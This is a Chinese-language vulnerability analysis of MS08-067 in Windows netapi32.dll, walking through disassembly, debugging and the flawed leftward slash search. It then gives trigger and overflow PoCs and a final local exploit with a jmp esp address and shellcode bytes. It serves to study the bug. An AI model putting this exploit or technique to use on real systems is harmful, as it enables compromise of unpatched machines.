RPC入侵:MS08-067
[toc]
MS08-067 简介
MS08-067 漏洞是由于 netapi32.dll 的导出函数 NetpwPathCanonicalize 在处理字符串时出现了错误,从而导致栈溢出,并且影响的操作系统范围很广,包括引入了 GS 安全机制的 Windows XP SP2、 Vista 以及 Windows 7。
MS08-067 的溢出发生在 NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中。当路径合并至临时的栈空间 Buff_OF 后, CanonicalizePathName 函数并不是直接将其复制到输出参数 can_path 中,而是要对 Buff_OF 串做以下三步操作,以对路径规范化。
1)将合并路径中的所有的 slash 字符‘ /’( 0x2F)转化为 backslash 字符‘ \’( 0x5C)。
...
5FDDA1F0 lea eax, [ebp+Buff_OF]
5FDDA1F6 jz short @@chk_dos_path_type
5FDDA1F8 @@replace_slash_loop:
5FDDA1F8 cmp word ptr [eax], '/'
5FDDA1FC jz @@slash_to_back_slash
5FDDA202 @@slash_to_back_forward:
5FDDA202 inc eax
5FDDA203 inc eax
5FDDA204 cmp word ptr [eax], 0
5FDDA208 jnz short @@replace_slash_loop
...
5FDE88EF @@slash_to_back_slash:
5FDE88EF mov word ptr [eax], '\'
5FDE88F4 jmp @@slash_to_back_forward
...
2)调用子函数 CheckDosPathType,检查合并路径的 DOS 路径类型,由于与溢出无关,不用深究其原理,我们只需了解这个函数的返回值,如果返回0,代码即将进入产生溢出的函数。
...
5FDDA20A @@chk_dos_path_type:
5FDDA20A lea eax, [ebp+Buff_OF]
5FDDA210 call CheckDosPathType
5FDDA215 test eax, eax
5FDDA217 jnz short @@chk_buf_of_len
5FDDA219 lea eax, [ebp+Buff_OF]
5FDDA21F push eax
5FDDA220 call RemoveLegarcyFolder ;溢出函数
5FDDA225 test eax, eax
5FDDA227 jz short @@err_invalid_name
...
3)溢出就发生在子函数 RemoveLegacyFolder 中; RemoveLegacyFolder 返回后,如果返回非零,表示合并路径已符合要求,若其长度未超过 maxbuf,即可复制至 can_path 中。
...
5FDDA229 @@chk_buf_of_len:
5FDDA229 lea eax, [ebp+Buff_OF]
5FDDA22F push eax
5FDDA230 call esi ; __imp_wcslen
5FDDA232 lea eax, [eax+eax+2]
5FDDA236 cmp eax, [ebp+arg_MaxBuf]
5FDDA239 pop ecx
5FDDA23A ja @@chk_retsize
5FDDA240 lea eax, [ebp+Buff_OF]
5FDDA246 push eax ; Source: Buff_OF
5FDDA247 push [ebp+Outbuf] ; Dest: same as can_path
5FDDA24D call ds:__imp_wcscpy
5FDDA253 pop ecx
5FDDA254 pop ecx
5FDDA255 xor eax, eax
5FDDA257 @@chk_security_cookie:
5FDDA257 mov ecx, [ebp+security_cookie]
5FDDA25A pop edi
5FDDA25B pop esi
5FDDA25C pop ebx
5FDDA25D call chk_security_cookie
5FDDA262 leave
5FDDA263 retn 14h
...
5FDE88F9 @@chk_retsize:
5FDE88F9 mov ecx, [ebp+RetSize]
5FDE88FF test ecx, ecx
5FDE8901 jz short @@err_buf_too_small
5FDE8903 mov [ecx], eax
5FDE8905 @@err_buf_too_small:
5FDE8905 mov eax, NERR_BufTooSmall
5FDE890A jmp @@chk_security_cookie
...
认识 Legacy Folder
Legacy Folder,又叫经典目录,指的是 ’.‘ (当前目录) 和 ‘..’ (上一层目录)这两个特殊的目录。
在对路径进行范式化的过程中,函数 RemoveLegacyFolder 的作用就是将合并路径中的经典目录移去(后面简称“移经”),使路径达到最简洁状态。
“移经” 测试
通过黑盒测试,可以看出 RemoveLegacyFolder 函数具有以下特性:
1)通过 II、 III 对比,目录名是以‘\’作为隔离符的,如果‘..\’ 的左边没有隔离符了,“移经”将失败; 2)由 VIII 可以看出,在路径中部(注意,不是首部),如果有两个连续的隔离符‘\’,“移经”将失败; 3) XI 的返回值非零,但是合并路径中却有内容,表明“移经”操作应该通过并已经复制到 can_path 中,很可能是在最后的检查过程中,出现了错误。通过查看汇编代码,原来在路径合并结束后, NetpaPathCanonicalize 还会调用 NetpwPathType 函数对合并路径进行检查,并将 NetpwPathType 的结果作为整个函数的返回值。 XI 中的合并路径\\aaa 显然不是一个合法的路径
“移经” 风险
‘ .\
’ 的移去操作很简单:只需要调用一次字符复制函数即可将 “经典目录” 移去。
‘..\
’ 的移去操作却麻烦了不少:
如果 p1 为当前指针, p2 和 p1 总是相差 3 个字符的位置,但仅凭 p1、 p2 是无法获取 p3 ,因为 FOLDER2 的长度不固定,对于获取 p3 的位置,主要有两种解决方法:
- 事先定义变量记录每一个 \ 的位置;当复制结束后,当前指针 p1 的值更新为 p3, p3 的值更新为 p4;同 p3 一样, p4 也需要变量进行记录。
- 如果不定义变量,则可以在“移经”后的路径中,从 p1 左侧开始,向左搜索首次出现的 ‘\’,即 p3;如果 p1 依然指向经典目录 ‘..\’,那么 p3 就是下一次 “移经” 复制的目的地址。
RemoveLegacyFolder 函数采用的是不定义变量更新 p3,然而正是这个 “向左(前)搜索” 存在着 “风险”。
静态分析
函数调用链 NetpwPathCanonicalize->CanonicalizePathName->RemoveLegacyFolder
NetpwPathCanonicalize
**函数作用:**NetpwPathCanonicalize用于格式化网络路径字符串。
如果prefix串非空,将prefix串与path串用\
相连,并复制输出到串can_path
中,输出串的容量为maxbuf字节大小。
prefix + '\' + path => can_path [max_buf]
函数原型:
Int NetpwPathCanonicalize(
Uint16 path[ ], // [in] path name
Uint8 can_path[ ], // [out] canonicalized path
Uint32 maxbuf, // [in] max size of can_path
Uint16 prefix[ ], // [in] path prefix
Uint32* pathtype, // [int out] path type
Uint32 pathflags // [in] path flags, 0 or 1
);
通过 NetpwPathCanonicalize 函数,找到 CanonicalizePathName 函数。
在CanonicalizePathName 中找到 RemoveLegacyFolder 函数。
动态调试
在调用 RemoveLegacyFolder 时,RemoveLegacyFolder 的返回地址位于 0x12F6A4;待处理的合并路径,即 Buff_OF( 0x12F6A8)指向的 unicode 串位于稍大的栈地址 0x12F6C0,是唯一的输入参数。
在移去经典目录‘ ..\’后, RemoveLegacyFolder 函数会向左(前)即低地址空间搜索隔离字符‘ \’,如果前向搜索越过了待处理串的起始字符,即小于 0x12F6C0,搜索的结果将不可控,很可能远小于 ESP;当合并路径中再次出现经典目录‘ ..\’并需要移去时,复制操作会将路径数据写入前面搜索到的栈地址,产生溢出,如果路径数据经过精心设计,很可能使某个函数的返回地址被覆盖修改,使溢出被成功利用。
总结,成功溢出的条件: 1)充分条件:前向搜索隔离符时,越过了 Buff_OF 指向的待处理串。 2)必要条件:合并路径中至少存在两个连续的经典目录‘..\’。 3)必要条件:合并路径中第二个‘..\’后有足够多的字符数以覆盖返回地址。
POC 的构造
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
编译后运行结果:
NetpwPathCanonicalize 函数正常返回,但是在输出的合并路径中,仍然存在一个经典目录 ‘ ..\’,此时,我们可以结合静态分析,探究一下原因。以下是去除 ‘ ..\’ 的相关汇编代码,变量 p1、 p2、p3 的定义请参看图 26.4.5。
...
5FDDA2BD @@period_found:
5FDDA2BD lea eax, [esi-2] ; esi 为当前指针 p1,此时 p1 指向‘.’
5FDDA2C0 cmp ebx, eax ; ebx 始终指向最新的‘\’,即 p2
5FDDA2C2 jnz @@period_after_nonslash
; 判断是否是经典目录:‘\.’或‘\..’
5FDDA2C8 @@period_after_slash:
5FDDA2C8 lea eax, [esi+2] ; eax 指向下一字符
5FDDA2CB mov dx, [eax]
5FDDA2CE cmp dx, '.' ; 是否‘\..’
5FDDA2D2 jnz @@nonperiod_after_period
5FDDA2D8 lea eax, [esi+4] ; eax 指向下两个字符
5FDDA2DB mov bx, [eax]
5FDDA2DE cmp bx, '\' ; 是否‘/../’
5FDDA2E2 jz short @@skip_spps_by_copy
5FDDA2E4 test bx, bx
5FDDA2E7 jnz short @@move_forward
5FDDA2E9 @@skip_spps_by_copy:
5FDDA2E9 test edi, edi ; edi 指向 p2 之前的‘\’,即 p3
5FDDA2EB jz @@exit_fail
5FDDA2F1 push eax
5FDDA2F2 push edi
5FDDA2F3 call ds:__imp_wcscpy ; 移经操作: wcscpy(p3, p1)
5FDDA2F9 test bx, bx
5FDDA2FC pop ecx
5FDDA2FD pop ecx
5FDDA2FE jnz @@update_current_slash_after_copy
…
5FDE87F8 @@update_current_slash_after_copy:
5FDE87F8 mov [ebp+current_slash], edi ; p2 <= p3
5FDE87FB mov esi, edi ; p1 <= p3
5FDE87FD lea eax, [edi-2] ; eax <= p3-2,作为向前搜索‘/’
; 的初始指针,但是这里直接将指针
; 减 2,而没有做边界检查,这是导致
; 溢出的根本原因!
5FDE8800 jmp short @@check_previous_slash_after_copy
5FDE8802 @@loop_search_previous_slash:
5FDE8802 cmp eax, [ebp+arg_Path] ; 这里的边界检查已无济于事,因为
; 在 0x5FDE87FD 处 eax 已经越界!
; 注: arg_Path 就是 Buff_OF
5FDE8805 jz short @@previous_slash_found_after_copy
5FDE8807 dec eax
5FDE8808 dec eax
5FDE8809 @@check_previous_slash_after_copy:
5FDE8809 cmp word ptr [eax], '\'
5FDE880D jnz short @@loop_search_previous_slash
5FDE880F @@previous_slash_found_after_copy:
...
可以看到,位于 0x5FDDA2F3 处 wcscpy 函数运行后,完成了一次“移经”操作。接着代码 0x5FDE87F8 至 0x5FDE87FD 更新相关指针。位于 0x5FDE8800 至 0x5FDE880D 的循环代码用于向前搜索隔离字符指针 p3,尽管在循环过程中,代码有做边界检查,但是在循环初始化时却没有(见 0x5FDE87FD),而直接将指针初值 EDI 减 2;一旦初始化越界,循环过程中的边界检查将失效,因为指针 EAX 永远小于 Buff_OF 的起始字符地址,而循环退出的唯一条件是在低地址空间中再次找到隔离字符‘ \’。
调试到前向搜索越界时的状态。Buff_OF 位于 0x12F6C0,但是前向搜索的指针 EAX 已经被初始化为 0x12F6BE,小于 Buff_OF 了,我们不妨称这个指针为 previous_slash。
由于 previous_slash (=EAX) 远小于 ESP,当再次调用 wcscpy 进行字符复制时,如果复制通过精心设计, wcscpy 函数的栈帧和返回地址将被覆盖修改,也就是说当 wcscpy 退出时,溢出会被成功利用。
提示:尽管微软在 Windows XP SP2 及之后的操作系统中引入了 security cookie 机制防止缓冲区溢出,但是 wcscpy 函数依然没有并没有采用该机制,因此 MS08-067 可以在多种操作系统上成功溢出。
计算要覆盖到返回地址的字符长度,wcscpy 的返回地址位于 0x0012F684,prefix_slash 位于 0x0012F5A2 (EDI)。需要230个字符(0x0012F684 - 0x0012F5A2+0x4 = 0xe6)就能覆盖到返回地址了。
具备溢出功能的 POC 代码:
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
设计出最终的 exploit代码如下:
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
// address of jmp esp
#define JMP_ESP "\x0b\xe9\xe0\x5f\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path, (const unsigned short *)JMP_ESP);
wcscat(path, (const unsigned short *)SHELL_CODE);
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
运行结果: